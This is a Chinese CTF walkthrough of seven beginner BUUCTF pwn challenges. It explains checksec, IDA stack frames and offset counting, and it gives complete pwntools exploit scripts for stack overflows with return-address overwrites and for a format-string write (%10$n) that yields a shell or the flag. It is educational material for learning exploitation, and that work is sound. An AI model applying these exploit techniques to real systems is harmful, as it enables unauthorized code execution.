PS:以下题目均在BUUCTF
1、test_your_nc(含前提简要)(与靶机连接)
前提简要:
虚拟机版本:Ubuntu24.04 pwn环境搭配如下(后面若有其他这个链接没有配置上的工具,都会在相应题目部分给出更新/分享/提示) 链接: Pwn环境搭建 都是基于个人理解,不一定完全正确!!!
题目

先启动靶机

方法一:
常规测试
直接在虚拟机nc与靶机进行连接

这道题连接后可能会没有显示东西出来,输入ls查看里面有啥文件(ls:列出当前地址/当前目录下的文件与子目录)
这里我们看到有flag文件

输入cat flag即可找到flag,返回题目输入答案并提交即可(cat:查看文件内容)

方法二:
脚本(exp)——题目常规做法
先把文件拖入虚拟机,用checksec命令查看该文件信息

我们用AI进行分析
- Arch: amd64 – 64 – little:表示该文件的架构是 64 位小端序的 AMD64 架构 。
- RELRO: Partial RELRO:RELRO(Relocation Read – Only)是一种针对共享库重定位表的保护机制。Partial RELRO 意味着部分重定位表在程序加载后变为只读,能防范一些通过修改全局偏移表(GOT)进行的攻击,但防护程度不如 Full RELRO 。
- Stack: No canary found:Stack Canary 是一种栈保护机制,向栈中插入随机值(canary 值),函数返回时检查其是否被修改来判断栈是否遭受缓冲区溢出攻击。这里表示该文件未启用 Stack Canary 保护 。
- NX: NX enabled:NX(No – eXecute)即不可执行,使栈、堆等内存区域不可执行,阻止攻击者在这些区域植入并执行恶意代码,这里已启用 。
- PIE: PIE enabled:PIE(Position – Independent Executable)即地址无关可执行文件,让程序每次加载地址随机化,增加攻击者利用固定地址进行攻击的难度,这里已启用 。
- Stripped: No :表示该文件没有被 strip(去除符号表等调试信息),保留了符号表等信息,便于调试和分析。
后我们把文件拖入IDA(64位)进行查看(IDA自行网上搜索下载安装)
拖入后,弹出来的提示一直按确定即可(其他也基本一致,后不赘述)

先找到左边的main函数,双击进入

先显示出的是汇编代码,我们按F5转换为伪代码C语言,便于我们查看(转换成C语言后,可以按Tab键回到汇编代码)

直接给出system(“/bin/sh”);
权限就直接给你了,因此我们啥也不用操作,直接与其进行连接即可

先用vim命令创建一个新文件夹(vim后面的文件名自己喜欢起啥就起啥,这里用题目名字来起)
(vim:打开文件,若没有该文件就创建一个新文件并用输入名字作为文件名)

进入文件后,按i/a进入编辑模式,然后输入以下代码
(这里每行开头的”r”可用其他字母代替,比如第二和第三行代码的第一个r,跟在其后面的代码就不能改,但是,得前后保持一致(就是一改都要改),否则会出错)

完毕,按左上角的Esc退出编辑模式,后按:wq,保存并退出文件
(:wq,保存并退出,:q,不保存并退出,若有无法退出的情况,在后面加个!即可。eg:”:wq!”)
(注:若有错误,可直接:q退出再进入一次即可,不用自己慢慢删)
代码如下
#导入pwntools模块:
from pwn import *
#和靶机进行连接:
r = remote("ip",端口)
#获取靶机交互式终端:
r.interactive()
IP和端口按实际输入

给权限

运行该脚本
然后ls(后面步骤与方法一,一致,不再赘述)
2、rip(栈溢出,堆栈平衡)
题目

方法一
常规,启动靶机,扔进虚拟机checksec

64位,没有栈保护
扔进IDA(64位),找到main,F5反编译
如下

其他没啥用,我们看到有gets函数(gets函数不会检查输入字符串的长度,若用户输入的字符串长度超过了 str 所指向数组的大小,就会发生缓冲区溢出。)
gets若没有遇到 \n 结束,则会无限读取,没有上限。
gets函数这行的意思是它会把我们在“please input”后输入的东西放进&s中(即gets函数的缓冲区)
我们双击s

自上往下从第一个函数s到最后一个函数s的地址(都是标蓝的)便是缓冲区大小
我们发送字节数据塞满它,然后把它的后门函数写入,我们就拿到了他的shell
从第一个s往下数到s,也可以直接用左边的F(在十六进制中是15)减去“s”左边的0即得大小为15
然后我们按Shift+F12打开string窗口,一键找出所有的字符串,去寻找它的后门函数

我们看到system和/bin/sh
system点进去没啥东西,我们双击点进/bin/sh

然后直接按Ctrl+x查看是哪里调用了它

确定

发现是fun函数,直接把401186(fun函数地址)复制下来
然后返回虚拟机编写exp

代码如下
#导入pwntools模块:
from pwn import *
#和靶机进行连接:
r = remote("node5.buuoj.cn",29132)
#定义 payload
payload = b'a' * 23 +p64(0x40118A)+ p64(0x401186)
#发送payload
r.sendline(payload)
#获取靶机交互式终端:
r.interactive()
注:这里直接塞字节数据和填后门函数地址是不行的
觉得自己脚本没写错就要考虑堆栈平衡(64位系统):
需要找lea的地址或者该函数结束即retn的地址,写在(空括号内)
payload = b’a’ * 23 + ()+ p64(0x401198) ——这是没有考虑堆栈平衡时的payload(减去+())
这里我们找到的后门函数地址是fun的
我们拖动IDA上方蓝条

找到fun函数所在地址

注:直接拖动找(在蓝色区域范围内),或者是在上面找到后门函数的时候(此页面)点击这个白色小箭头,即可来到fun函数附近(注:在汇编页面的时候拖,而不是c语言)

我上面填的地址是lea的,你们可自行尝试retn的地址(fun函数内的)

方法二
其他步骤基本同上,只是塞字节数据时没有加上返回地址大小
(对比一下不同方法的exp就知道区别了,方法三同理)

代码如下
#导入pwntools模块:
from pwn import *
#和靶机进行连接:
r = remote("node5.buuoj.cn",29034)
#定义 payload
payload = b'a' * 15+ p64(0x401186)
#注:b前缀表示这是一个字符串
#b'a' 代表一个包含单个字节 a 的字节串
#''里的字母可替换成任意其他字符
#只要将其表示为字符串即可
#其实b'a' * 15就是我们塞进去的字节数据
#然后因为这个程序是64位的,所以我们写成p64(32位的即写成p32)
#p64 函数的作用是把一个64位的整数(以十六进制表示)转换为对应的 8 字节小端序字节串
#p64()内的即上面找到的后门函数地址,我们通常用Python编写脚本
#因此有以下规定
#二进制:加 0b 或者 0B,例如 0b1010。
#八进制:加 0o 或者 0O,例如 0o12。
#十进制:无需加前缀,直接写数字,例如 10。
#十六进制:加 0x 或者 0X,例如 0xA。
#发送payload
r.sendline(payload)
#获取靶机交互式终端:
r.interactive()

然后常规,得出flag
方法三
这里直接在方法一没有堆栈平衡时的payload中后门函数后直接+1
#导入pwntools模块:
from pwn import *
#和靶机进行连接:
r = remote("node5.buuoj.cn",29034)
#定义 payload
payload = b'a' * 23 + p64(0x401186+1)
#发送payload
r.sendline(payload)
#获取靶机交互式终端:
r.interactive()
3、warmup_csaw_2016(栈溢出)
题目

做法
扔进虚拟机checksec

64位,没开栈保护
扔进IDA(64位),找到main,F5反编译

跟上一题差不多,其他没啥作用
然后我们看到sprintf 函数,它和gets函数差不多,都可以导致栈溢出
但sprintf 函数在我们输入的末尾添加换行符 \n了,无法造成栈溢出,也就是我们无法利用sprintf 函数进行栈溢出,只能利用gets函数
(sprintf 函数不会检查目标缓冲区 str 的大小,如果格式化后的字符串长度超过了缓冲区的大小,就会导致缓冲区溢出)
(gets函数不会检查输入字符串的长度,若用户输入的字符串长度超过了 str 所指向数组的大小,就会发生缓冲区溢出。)
我们点进v5
完整代码,v5显示的是var_40
-0000000000000080 ; D/A/* : change type (data/ascii/array)
-0000000000000080 ; N : rename
-0000000000000080 ; U : undefine
-0000000000000080 ; Use data definition commands to create local variables and function arguments.
-0000000000000080 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000080 ; Frame size: 80; Saved regs: 8; Purge: 0
-0000000000000080 ;
-0000000000000080
-0000000000000080 s db ?
-000000000000007F db ? ; undefined
-000000000000007E db ? ; undefined
-000000000000007D db ? ; undefined
-000000000000007C db ? ; undefined
-000000000000007B db ? ; undefined
-000000000000007A db ? ; undefined
-0000000000000079 db ? ; undefined
-0000000000000078 db ? ; undefined
-0000000000000077 db ? ; undefined
-0000000000000076 db ? ; undefined
-0000000000000075 db ? ; undefined
-0000000000000074 db ? ; undefined
-0000000000000073 db ? ; undefined
-0000000000000072 db ? ; undefined
-0000000000000071 db ? ; undefined
-0000000000000070 db ? ; undefined
-000000000000006F db ? ; undefined
-000000000000006E db ? ; undefined
-000000000000006D db ? ; undefined
-000000000000006C db ? ; undefined
-000000000000006B db ? ; undefined
-000000000000006A db ? ; undefined
-0000000000000069 db ? ; undefined
-0000000000000068 db ? ; undefined
-0000000000000067 db ? ; undefined
-0000000000000066 db ? ; undefined
-0000000000000065 db ? ; undefined
-0000000000000064 db ? ; undefined
-0000000000000063 db ? ; undefined
-0000000000000062 db ? ; undefined
-0000000000000061 db ? ; undefined
-0000000000000060 db ? ; undefined
-000000000000005F db ? ; undefined
-000000000000005E db ? ; undefined
-000000000000005D db ? ; undefined
-000000000000005C db ? ; undefined
-000000000000005B db ? ; undefined
-000000000000005A db ? ; undefined
-0000000000000059 db ? ; undefined
-0000000000000058 db ? ; undefined
-0000000000000057 db ? ; undefined
-0000000000000056 db ? ; undefined
-0000000000000055 db ? ; undefined
-0000000000000054 db ? ; undefined
-0000000000000053 db ? ; undefined
-0000000000000052 db ? ; undefined
-0000000000000051 db ? ; undefined
-0000000000000050 db ? ; undefined
-000000000000004F db ? ; undefined
-000000000000004E db ? ; undefined
-000000000000004D db ? ; undefined
-000000000000004C db ? ; undefined
-000000000000004B db ? ; undefined
-000000000000004A db ? ; undefined
-0000000000000049 db ? ; undefined
-0000000000000048 db ? ; undefined
-0000000000000047 db ? ; undefined
-0000000000000046 db ? ; undefined
-0000000000000045 db ? ; undefined
-0000000000000044 db ? ; undefined
-0000000000000043 db ? ; undefined
-0000000000000042 db ? ; undefined
-0000000000000041 db ? ; undefined
-0000000000000040 var_40 db ?
-000000000000003F db ? ; undefined
-000000000000003E db ? ; undefined
-000000000000003D db ? ; undefined
-000000000000003C db ? ; undefined
-000000000000003B db ? ; undefined
-000000000000003A db ? ; undefined
-0000000000000039 db ? ; undefined
-0000000000000038 db ? ; undefined
-0000000000000037 db ? ; undefined
-0000000000000036 db ? ; undefined
-0000000000000035 db ? ; undefined
-0000000000000034 db ? ; undefined
-0000000000000033 db ? ; undefined
-0000000000000032 db ? ; undefined
-0000000000000031 db ? ; undefined
-0000000000000030 db ? ; undefined
-000000000000002F db ? ; undefined
-000000000000002E db ? ; undefined
-000000000000002D db ? ; undefined
-000000000000002C db ? ; undefined
-000000000000002B db ? ; undefined
-000000000000002A db ? ; undefined
-0000000000000029 db ? ; undefined
-0000000000000028 db ? ; undefined
-0000000000000027 db ? ; undefined
-0000000000000026 db ? ; undefined
-0000000000000025 db ? ; undefined
-0000000000000024 db ? ; undefined
-0000000000000023 db ? ; undefined
-0000000000000022 db ? ; undefined
-0000000000000021 db ? ; undefined
-0000000000000020 db ? ; undefined
-000000000000001F db ? ; undefined
-000000000000001E db ? ; undefined
-000000000000001D db ? ; undefined
-000000000000001C db ? ; undefined
-000000000000001B db ? ; undefined
-000000000000001A db ? ; undefined
-0000000000000019 db ? ; undefined
-0000000000000018 db ? ; undefined
-0000000000000017 db ? ; undefined
-0000000000000016 db ? ; undefined
-0000000000000015 db ? ; undefined
-0000000000000014 db ? ; undefined
-0000000000000013 db ? ; undefined
-0000000000000012 db ? ; undefined
-0000000000000011 db ? ; undefined
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 db ? ; undefined
-0000000000000003 db ? ; undefined
-0000000000000002 db ? ; undefined
-0000000000000001 db ? ; undefined
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
经典栈溢出问题,跟上一道题一样
从上往下数,从var_40到最后一个s是64(即v5的长度为64)然后加上返回函数的8个字节(可以理解成把s的大小加上,刚刚好到达r),共是72,下面那个r代表的是返回地址,我们在这里写入后门函数地址
Shift+F12打开string窗口,一键找出所有的字符串,去寻找它的后门函数

我们看到system函数
点进去

Ctrl+x看看是哪个函数调用了

发现没有啥,然后我们回去,发现了cat flag.txt

操作同上

找到后门函数地址40060D
编写exp

代码如下
#导入pwntools模块:
from pwn import *
#和靶机进行连接:
r = remote("node5.buuoj.cn",29343)
#定义 payload
payload = b'a' * 72+ p64(0x40060D)
#发送payload
r.sendline(payload)
#获取靶机交互式终端:
r.interactive()
payload不懂的请移步至本系列上篇代码注释(rip 1的方法二)

最后,得出flag
4、ciscn_2019_n_1(栈溢出,变量覆盖)
题目

做法
开虚拟机,扔进去checksec

64位,还是没有开栈保护
扔进IDA(64位),找到main,F5反编译

都点一下,感觉没啥东西
然后我们点到func的时候

我们看到了熟悉的gets函数还有system(“cat /flag”)
这里,我们对这个程序进行栈溢出,在v1到v2间塞入字节数据,然后让v2=11.28125,我们就可以得到flag
我们点进gets函数括号中的v1,v1对应的是var_30,v2对应var_4
完整代码如下
-0000000000000030 ; D/A/* : change type (data/ascii/array)
-0000000000000030 ; N : rename
-0000000000000030 ; U : undefine
-0000000000000030 ; Use data definition commands to create local variables and function arguments.
-0000000000000030 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000030 ; Frame size: 30; Saved regs: 8; Purge: 0
-0000000000000030 ;
-0000000000000030
-0000000000000030 var_30 db ?
-000000000000002F db ? ; undefined
-000000000000002E db ? ; undefined
-000000000000002D db ? ; undefined
-000000000000002C db ? ; undefined
-000000000000002B db ? ; undefined
-000000000000002A db ? ; undefined
-0000000000000029 db ? ; undefined
-0000000000000028 db ? ; undefined
-0000000000000027 db ? ; undefined
-0000000000000026 db ? ; undefined
-0000000000000025 db ? ; undefined
-0000000000000024 db ? ; undefined
-0000000000000023 db ? ; undefined
-0000000000000022 db ? ; undefined
-0000000000000021 db ? ; undefined
-0000000000000020 db ? ; undefined
-000000000000001F db ? ; undefined
-000000000000001E db ? ; undefined
-000000000000001D db ? ; undefined
-000000000000001C db ? ; undefined
-000000000000001B db ? ; undefined
-000000000000001A db ? ; undefined
-0000000000000019 db ? ; undefined
-0000000000000018 db ? ; undefined
-0000000000000017 db ? ; undefined
-0000000000000016 db ? ; undefined
-0000000000000015 db ? ; undefined
-0000000000000014 db ? ; undefined
-0000000000000013 db ? ; undefined
-0000000000000012 db ? ; undefined
-0000000000000011 db ? ; undefined
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 var_4 dd ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
v1到v2的大小为3*16-4=44,这就是我们要输入的字节数据大小
(补充:db是1个字节,dd是4个字节,dq是8个字节)
然后我们找一个可以把浮点数换成16进制数的网址(要统一进制)
这里给出一个网址(是否有病毒等风险自辨,资源来自互联网)
http://www.speedfly.cn/tools/hexconvert/
我们把11.28125换成16进制数,即是41348000(注意去掉数字间的空格)

我们编写exp

代码如下
#导入pwntools模块:
from pwn import *
#和靶机进行连接:
r = remote("node5.buuoj.cn",26405)
#定义 payload
payload = b'a' * 44+ p64(0x41348000)
#发送payload
r.sendline(payload)
#获取靶机交互式终端:
r.interactive()
然后常规,得出flag

5、pwn1_sctf_2016(栈溢出)
题目

做法
开虚拟机,checksec

32位,还是没开栈保护
扔进IDA(32位),找到main,F5反编译

没有啥,点进去vuln看看

眼花缭乱,先按Shift+F12打开string窗口,一键找出所有的字符串,看看有啥

诶,有个cat flag,点进去,然后Ctrl+x,确定

按Tab转成c语言看下

喔,后门函数这不找到了嘛,然后回去看看vuln函数

我们看到第12行的fgets函数,这是我们的输入点,限制在32个字符
不熟悉这个函数,求助一下AI:
1、可导致栈溢出
2、在正常使用时,n 代表要读取的最大字符数(包含字符串结束符 '\0'),fgets 会保证最多读取 n - 1 个字符到 str 所指向的缓冲区中,并在末尾添加 '\0'
(即这题的fgets函数限制是在31个字符)
点进fgets函数括号里的s看下,完整代码如下
s对应第37行的s
-00000058 ; D/A/* : change type (data/ascii/array)
-00000058 ; N : rename
-00000058 ; U : undefine
-00000058 ; Use data definition commands to create local variables and function arguments.
-00000058 ; Two special fields " r" and " s" represent return address and saved registers.
-00000058 ; Frame size: 58; Saved regs: 4; Purge: 0
-00000058 ;
-00000058
-00000058 db ? ; undefined
-00000057 db ? ; undefined
-00000056 db ? ; undefined
-00000055 db ? ; undefined
-00000054 db ? ; undefined
-00000053 db ? ; undefined
-00000052 db ? ; undefined
-00000051 db ? ; undefined
-00000050 db ? ; undefined
-0000004F db ? ; undefined
-0000004E db ? ; undefined
-0000004D db ? ; undefined
-0000004C db ? ; undefined
-0000004B db ? ; undefined
-0000004A db ? ; undefined
-00000049 db ? ; undefined
-00000048 db ? ; undefined
-00000047 db ? ; undefined
-00000046 db ? ; undefined
-00000045 db ? ; undefined
-00000044 db ? ; undefined
-00000043 db ? ; undefined
-00000042 db ? ; undefined
-00000041 db ? ; undefined
-00000040 db ? ; undefined
-0000003F db ? ; undefined
-0000003E db ? ; undefined
-0000003D db ? ; undefined
-0000003C s db ?
-0000003B db ? ; undefined
-0000003A db ? ; undefined
-00000039 db ? ; undefined
-00000038 db ? ; undefined
-00000037 db ? ; undefined
-00000036 db ? ; undefined
-00000035 db ? ; undefined
-00000034 db ? ; undefined
-00000033 db ? ; undefined
-00000032 db ? ; undefined
-00000031 db ? ; undefined
-00000030 db ? ; undefined
-0000002F db ? ; undefined
-0000002E db ? ; undefined
-0000002D db ? ; undefined
-0000002C db ? ; undefined
-0000002B db ? ; undefined
-0000002A db ? ; undefined
-00000029 db ? ; undefined
-00000028 db ? ; undefined
-00000027 db ? ; undefined
-00000026 db ? ; undefined
-00000025 db ? ; undefined
-00000024 db ? ; undefined
-00000023 db ? ; undefined
-00000022 db ? ; undefined
-00000021 db ? ; undefined
-00000020 db ? ; undefined
-0000001F db ? ; undefined
-0000001E db ? ; undefined
-0000001D db ? ; undefined
-0000001C var_1C db ?
-0000001B db ? ; undefined
-0000001A db ? ; undefined
-00000019 db ? ; undefined
-00000018 var_18 db ?
-00000017 db ? ; undefined
-00000016 db ? ; undefined
-00000015 db ? ; undefined
-00000014 db ? ; undefined
-00000013 db ? ; undefined
-00000012 db ? ; undefined
-00000011 var_11 db ?
-00000010 var_10 db ?
-0000000F db ? ; undefined
-0000000E db ? ; undefined
-0000000D db ? ; undefined
-0000000C db ? ; undefined
-0000000B db ? ; undefined
-0000000A db ? ; undefined
-00000009 var_9 db ?
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables
得知,s到r的大小为0x3C-4+4+4=64,后门函数也有了
因此,这里我们考虑构造栈溢出,但是因为fgets函数限制了输入字符
64>31,因此我们不能直接塞字节数据进去,
我们回到vuln函数,继续往下看,看到you,I 还有replace(替换)

于是我们想到——在限制输入字符的情况下填满它,就得把 I 换成you
算一下要换多少个——64/3=21余1(换21个,然后塞一个字节数据进去就可以了)
(注:换20个,然后塞4个字节数据等等也是可以的,自己换下试试,我这里试到换18个,塞10个字节数据进去就得不出flag了,正常来说输入字符范围在31个以内都可以的,也许fgets函数里本来就有些东西吧,就像你分一个200G的盘,它的可用内存总没有200G一般)
【遇到这种换字符的不知道要用总数除以多少的,被除数 可以用you(1个要换成的字符长度)除以 I (1个要被换的字符长度)得出(即3/1也就是3)】
至此,我们构造exp

代码如下
#导入pwntools模块:
from pwn import *
#和靶机进行连接:
r = remote("node5.buuoj.cn",29891)
#定义 payload
payload = b'I' * 21 + b'a' * 1 + p32(0x8048F0D)
#发送payload
r.sendline(payload)
#获取靶机交互式终端:
r.interactive()
得出flag

6、jarvisoj_level0(栈溢出)
题目

做法
开虚拟机,checksec

64位,没开栈保护
扔进IDA(64位),找到main,F5反编译

没啥,点进vulnerable_function

还是没啥,我们点进缓冲区(buf)看下
完整代码如下
-0000000000000080 ; D/A/* : change type (data/ascii/array)
-0000000000000080 ; N : rename
-0000000000000080 ; U : undefine
-0000000000000080 ; Use data definition commands to create local variables and function arguments.
-0000000000000080 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000080 ; Frame size: 80; Saved regs: 8; Purge: 0
-0000000000000080 ;
-0000000000000080
-0000000000000080 buf db ?
-000000000000007F db ? ; undefined
-000000000000007E db ? ; undefined
-000000000000007D db ? ; undefined
-000000000000007C db ? ; undefined
-000000000000007B db ? ; undefined
-000000000000007A db ? ; undefined
-0000000000000079 db ? ; undefined
-0000000000000078 db ? ; undefined
-0000000000000077 db ? ; undefined
-0000000000000076 db ? ; undefined
-0000000000000075 db ? ; undefined
-0000000000000074 db ? ; undefined
-0000000000000073 db ? ; undefined
-0000000000000072 db ? ; undefined
-0000000000000071 db ? ; undefined
-0000000000000070 db ? ; undefined
-000000000000006F db ? ; undefined
-000000000000006E db ? ; undefined
-000000000000006D db ? ; undefined
-000000000000006C db ? ; undefined
-000000000000006B db ? ; undefined
-000000000000006A db ? ; undefined
-0000000000000069 db ? ; undefined
-0000000000000068 db ? ; undefined
-0000000000000067 db ? ; undefined
-0000000000000066 db ? ; undefined
-0000000000000065 db ? ; undefined
-0000000000000064 db ? ; undefined
-0000000000000063 db ? ; undefined
-0000000000000062 db ? ; undefined
-0000000000000061 db ? ; undefined
-0000000000000060 db ? ; undefined
-000000000000005F db ? ; undefined
-000000000000005E db ? ; undefined
-000000000000005D db ? ; undefined
-000000000000005C db ? ; undefined
-000000000000005B db ? ; undefined
-000000000000005A db ? ; undefined
-0000000000000059 db ? ; undefined
-0000000000000058 db ? ; undefined
-0000000000000057 db ? ; undefined
-0000000000000056 db ? ; undefined
-0000000000000055 db ? ; undefined
-0000000000000054 db ? ; undefined
-0000000000000053 db ? ; undefined
-0000000000000052 db ? ; undefined
-0000000000000051 db ? ; undefined
-0000000000000050 db ? ; undefined
-000000000000004F db ? ; undefined
-000000000000004E db ? ; undefined
-000000000000004D db ? ; undefined
-000000000000004C db ? ; undefined
-000000000000004B db ? ; undefined
-000000000000004A db ? ; undefined
-0000000000000049 db ? ; undefined
-0000000000000048 db ? ; undefined
-0000000000000047 db ? ; undefined
-0000000000000046 db ? ; undefined
-0000000000000045 db ? ; undefined
-0000000000000044 db ? ; undefined
-0000000000000043 db ? ; undefined
-0000000000000042 db ? ; undefined
-0000000000000041 db ? ; undefined
-0000000000000040 db ? ; undefined
-000000000000003F db ? ; undefined
-000000000000003E db ? ; undefined
-000000000000003D db ? ; undefined
-000000000000003C db ? ; undefined
-000000000000003B db ? ; undefined
-000000000000003A db ? ; undefined
-0000000000000039 db ? ; undefined
-0000000000000038 db ? ; undefined
-0000000000000037 db ? ; undefined
-0000000000000036 db ? ; undefined
-0000000000000035 db ? ; undefined
-0000000000000034 db ? ; undefined
-0000000000000033 db ? ; undefined
-0000000000000032 db ? ; undefined
-0000000000000031 db ? ; undefined
-0000000000000030 db ? ; undefined
-000000000000002F db ? ; undefined
-000000000000002E db ? ; undefined
-000000000000002D db ? ; undefined
-000000000000002C db ? ; undefined
-000000000000002B db ? ; undefined
-000000000000002A db ? ; undefined
-0000000000000029 db ? ; undefined
-0000000000000028 db ? ; undefined
-0000000000000027 db ? ; undefined
-0000000000000026 db ? ; undefined
-0000000000000025 db ? ; undefined
-0000000000000024 db ? ; undefined
-0000000000000023 db ? ; undefined
-0000000000000022 db ? ; undefined
-0000000000000021 db ? ; undefined
-0000000000000020 db ? ; undefined
-000000000000001F db ? ; undefined
-000000000000001E db ? ; undefined
-000000000000001D db ? ; undefined
-000000000000001C db ? ; undefined
-000000000000001B db ? ; undefined
-000000000000001A db ? ; undefined
-0000000000000019 db ? ; undefined
-0000000000000018 db ? ; undefined
-0000000000000017 db ? ; undefined
-0000000000000016 db ? ; undefined
-0000000000000015 db ? ; undefined
-0000000000000014 db ? ; undefined
-0000000000000013 db ? ; undefined
-0000000000000012 db ? ; undefined
-0000000000000011 db ? ; undefined
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 db ? ; undefined
-0000000000000003 db ? ; undefined
-0000000000000002 db ? ; undefined
-0000000000000001 db ? ; undefined
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
貌似可以构成栈溢出?提前数一下,从buf到r共有8* 16+8=136
Shift+F12打开string窗口,一键找出所有的字符串,找找它的后门函数

诶,有/bin/sh,点进去,Ctrl+x,确定

后门函数找到
直接构造exp

代码如下
#导入pwntools模块:
from pwn import *
#和靶机进行连接:
r = remote("node5.buuoj.cn",27269)
#定义 payload
payload = b'a' * 136 + p64(0x400596)
#发送payload
r.sendline(payload)
#获取靶机交互式终端:
r.interactive()
常规,直接得出flag
(注:这里有flag和flag.txt,俩都可以得出flag)

7、第五空间2019 决赛 PWN5(格式化字符串)
题目

做法
开虚拟机,checksec

32位,注意栈保护已经开了
扔进IDA(32位),找到main,F5反编译

一连串代码,先放一边,Shift+F12打开string窗口,看看有啥能用的

有system和/bin/sh,但是都没啥用,这俩都在main里
那就乖乖回到main分析代码吧

看了一下,就是打开一个文件从里面读取随机数(第18行),然后放进一个地址(第19行),然后到下面第16行的 if 表示如果我们输入的密码等于第19行地址里的内容,他就把权限给我们
经典的格式化字符串题目:
看到第23行 printf(&buf);
这里直接把用户输入的 buf 作为格式化字符串传递给 printf 函数,加上上面的随机数,我们可以判断这题为格式化字符串题目(具体移步至下面《解释》)
先nc测试一下,随便输点东西进去,反正都是错的

然后,我们退出,再nc一遍(我们用 这种题目 的 常规做法 做一下)

先测试一下我们输入的值被存放到哪
代码如下(%p/%x输入的个数看情况写,尽可能写多点,不然没到我们输入的值存放的位置就又要重测一次)
(下面的方式都是可以的,因为%p可以不用考虑位数区别,尽量用%p来测】
aaaa %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
AAAA.%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
#这些空格,逗号,句号都只是为了让输出结果更易读
#分隔符本身不会影响 printf 函数对格式化说明符的处理,只是在输出时起到分隔不同输出值的作用。
#aaaa可替换成任意其他字符,但是输入的都得一样,方便找到我们输入的值在哪,输入个数需要注意
(注:这部分觉得迷惑的移步至下面《补充》)
我们从他返回的aaaa后的0xffd611f8(为第1)起数,到0x61616161(为第10)止——这就是我们输入的值存放的位置(第10位)(aaaa嘛,四个一样的,对应下去四个一样的也就只有0x61616161)
【注:“(nil)” 是一个表示空值的占位符,因此也算一个】
测试完毕,Ctrl+c断开连接,我们开始构造exp

代码如下
#导入pwntools模块:
from pwn import *
#和靶机进行连接:
r = remote("node5.buuoj.cn",26756)
#定义 payload
payload = p32(0x804C044) + b'%10$n'
#接收
r.recvuntil('your name:')
#发送payload
r.sendline(payload)
#接收
r.recvuntil('your passwd:')
#发送payload
r.sendline(str(4))
#获取靶机交互式终端:
r.interactive()
常规,得出flag——flag{3c562253-d23b-4f60-94c4-f228f4813f40}

解释
为什么说它是格式化字符串
普通字符串示例分析
#include <stdio.h>
int main() {
// 直接输出字符串常量
printf("Hello, World!\n");
return 0;
}
在这个例子中,"Hello, World!\n" 就是一个普通字符串。printf 函数遇到这样的参数时,会从字符串的起始位置开始,逐个字符地输出到控制台,直到遇到字符串结束符 \0。这里的 \n 是一个转义字符,表示换行,它是字符串的一部分,会被当作普通字符处理,使输出在 World! 之后换行。
格式化字符串示例分析
#include <stdio.h>
int main() {
int age = 25;
char name[] = "Alice";
// 使用格式化字符串输出
printf("My name is %s and I am %d years old.\n", name, age);
return 0;
}
在这个例子中,"My name is %s and I am %d years old.\n" 是格式化字符串。%s 和 %d 是格式化说明符,%s 用于指定输出一个字符串,%d 用于指定输出一个整数。printf 函数会根据这些格式化说明符,将后面的参数 name 和 age 按照相应的格式进行输出。具体来说,它会把 name 所指向的字符串替换 %s 的位置,把 age 的值替换 %d 的位置,最终输出 My name is Alice and I am 25 years old.。
总结
题目没有限制我们的输入,我们就可以利用这个输入%(x/p)等进行测试
修复建议(补充)
方法一:使用 %s 格式化说明符
将 printf(&buf); 修改为 printf("%s", buf); ,这样明确告诉 printf 函数将 buf 当作普通字符串进行输出,而不是解析其中可能存在的格式化说明符。
方法二:对用户输入进行严格验证和过滤
可以编写一个函数对用户输入的 buf 进行检查,确保其中不包含格式化字符串的特殊字符(如 % 等),只有在验证通过后才进行输出。
利用格式化字符串漏洞绕过随机数验证的原理
格式化字符串漏洞可以让攻击者通过构造特定的输入,实现信息泄露和任意内存写入。攻击者可以利用这个漏洞达成以下目的:
1. 泄露随机数的值
攻击者可以通过构造包含格式化说明符(如 %x)的输入,让 printf 函数输出栈上的内容,逐步定位并获取存储随机数的内存地址处的值。
例如,攻击者可以输入一系列 %x 说明符,像 AAAA.%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x 等,根据输出结果分析栈上的数据,找到存储随机数的位置并获取其值。

2. 绕过密码验证
一旦攻击者获取了随机数的值,就可以在输入密码时,将这个值输入进去,从而通过 atoi(&nptr) == unk_804C044 的验证,执行 system("/bin/sh"); 打开一个 shell。
补充:
1、格式化字符串的格式化说明符
%d:用于读取或输出十进制整数
【%x:用于读取或输出十六进制整数
%p:用于输出指针的值(通常以十六进制形式显示)
(%x、%p):可以用来获取对应栈上存储的十六进制数值,查看自己输入的值的存放位置,
后者可以不用考虑位数区别】
%s:用于读取或输出字符串
